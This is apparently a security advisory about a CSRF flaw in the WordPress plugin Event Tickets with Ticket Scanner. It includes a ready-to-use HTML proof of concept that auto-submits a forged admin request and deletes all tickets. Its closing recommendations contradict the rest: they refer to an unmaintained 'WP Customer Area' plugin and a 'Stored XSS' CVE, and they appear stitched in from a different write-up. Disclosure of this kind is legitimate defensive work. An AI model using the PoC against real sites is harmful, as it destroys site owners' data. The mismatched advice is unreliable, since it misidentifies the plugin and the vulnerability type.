Cross-Site Request Forgery (CSRF) is a type of web security vulnerability that allows an attacker to execute unauthorized actions on behalf of an authenticated user. In the case of the Event Tickets with Ticket Scanner plugin (version <= 2.5.4), a CSRF vulnerability has been discovered, allowing attackers to delete all tickets without proper authorization.

Discovery of the Vulnerability
The vulnerability was found in the Event Tickets with Ticket Scanner plugin for WordPress, which facilitates event ticket sales and validation. It was identified that the plugin lacks proper CSRF protections, making it possible for an attacker to send forged requests to the WordPress backend, triggering the deletion of all stored tickets.
Understanding of CSRF attack’s
CSRF attacks exploit the trust that a web application has in a user’s browser session. When a logged-in user visits a malicious website, an attacker can trick their browser into making an unwanted request to the target application, performing actions without the user’s knowledge.
Consider a WordPress administrator managing event tickets. If they are logged into their admin panel and visit a malicious site, the attacker could embed a hidden form that automatically sends a request to delete all tickets in the system. Since the request is made from the administrator’s session, WordPress processes it as legitimate.
Exploiting the CSRF Vulnerability
To exploit this vulnerability in Event Tickets With Ticket Scanner, an attacker could create a simple HTML form embedded in a malicious website. Here’s a step-by-step demonstration:
POC:
The following Proof of Concept (PoC) demonstrates how an attacker can exploit this vulnerability:
<html> <body> <form action="http://localhost/wp-admin/admin-ajax.php"> <input type="hidden" name="nonce" value="1" /> <input type="hidden" name="action" value="sasoEventtickets_executeAdminSettings" /> <input type="hidden" name="a_sngmbh" value="emptyTableCodes" /> <input type="submit" value="Submit request" /> </form> <script> history.pushState('', '', '/'); document.forms[0].submit(); </script> </body> </html>____
This script, when loaded on a malicious webpage, will submit the form automatically if the administrator is logged in, leading to the deletion of all event tickets.
Recommendations for Improved Security
To mitigate the risk of CSRF and similar vulnerabilities, developers and administrators should adopt the following best practices:
- Transition to Alternative Plugins: Since WP Customer Area is no longer maintained, users should migrate to actively supported plugins with similar features.
- Implement Nonce Validation: Developers must ensure that all sensitive actions in WordPress are protected by properly validated nonces.
- Educate Administrators: Train site administrators to recognize phishing attempts and avoid visiting suspicious links while logged into WordPress.
By taking proactive measures to address Stored XSS vulnerabilities like CVE-2025-1762, WordPress website owners can enhance their security posture and safeguard against potential exploitation. Stay vigilant, stay secure.
